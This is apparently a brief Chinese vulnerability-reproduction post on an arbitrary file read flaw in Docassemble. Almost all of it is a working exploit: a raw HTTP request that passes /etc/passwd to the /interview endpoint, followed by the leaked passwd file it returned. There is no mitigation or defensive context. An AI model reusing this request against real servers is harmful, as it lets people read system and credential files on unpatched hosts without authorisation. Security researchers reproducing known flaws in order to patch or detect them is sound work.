【漏洞复现】Docassemble任意文件读取漏洞

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GET /interview?i=/etc/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/bin/bash backup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin epmd:x:103:104::/run/epmd:/usr/sbin/nologinmessagebus:x:104:106::/nonexistent:/usr/sbin/nologin systemd-timesync:x:105:107:systemdTime Synchronization,,,:/run/systemd:/usr/sbin/nologin Debian-exim:x:106:112::/var/spool/exim4:/usr/sbin/nologinredis:x:107:114::/var/lib/redis:/usr/sbin/nologin postgres:x:108:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashrabbitmq:x:109:117:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin